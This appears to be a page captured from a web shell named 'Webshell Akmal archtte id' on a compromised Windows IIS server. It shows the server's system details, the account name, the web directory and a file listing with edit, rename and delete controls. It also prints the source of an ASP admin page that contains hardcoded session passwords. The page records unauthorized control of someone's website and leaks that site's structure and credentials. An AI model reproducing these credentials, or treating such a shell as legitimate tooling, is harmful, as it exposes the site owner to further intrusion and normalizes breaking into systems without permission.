Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%
loginnumber=session("Webpassed")
if loginnumber<>"%asc365com%" then
response.End()
end if 
%>
<%
if session("asc365allpassword")<>"8879365" then response.end
set fs=Server.CreateObject("Scripting.FileSystemObject")
%>

<title>ASC365_Store Edit</title>
<table border="1" width="800" height="35" bgcolor="#FFFFFF" style="border-collapse: collapse" bordercolor="#C0C0C0">
	<tr>
		<td height="35" width="800" bordercolor="#000000" bgcolor="#000000">
		<p align="center"><font size="4" face="Verdana" color="#FFFF00">ASC365 Store Edit</font></td>
	</tr>
</table>

<%
Dim KK(999,1)
Set f=fs.OpenTextFile(Server.MapPath("../../Admin/Product_Sort"), 1)
do while f.AtEndOfStream = false
	WW=trim(f.ReadLine)
	if len(WW)<>0 and left(ww,2)<>"//" then 
		temp=split(ww,"#")
		temp(0)=trim(temp(0)): temp(1)=trim(temp(1))
		KK(temp(0),0)=temp(0)
		KK(temp(0),1)=temp(1)
	end if
loop
f.Close
Set f=Nothing:
%>

<% for i= 0 to 998
   if len(KK(i,0))<>0 then %>
	<table border="1" width="800" height="2" bgcolor="#FFFFFF" style="border-collapse: collapse" bordercolor="#e0e0e0">
		<tr>
		<td height="20" width="60" align="center"><a target="_blank" href="../../Admin/<%=KK(i,0)%>/Pedit.asp"><%=KK(i,0)%></a></td>
		<td height="20" width="740"><%=KK(i,1)%></td>
		</tr>
	</table>
   <% end if %>
<% next %>
       
<%Set fs=Nothing%>
</div>
</body>
</html>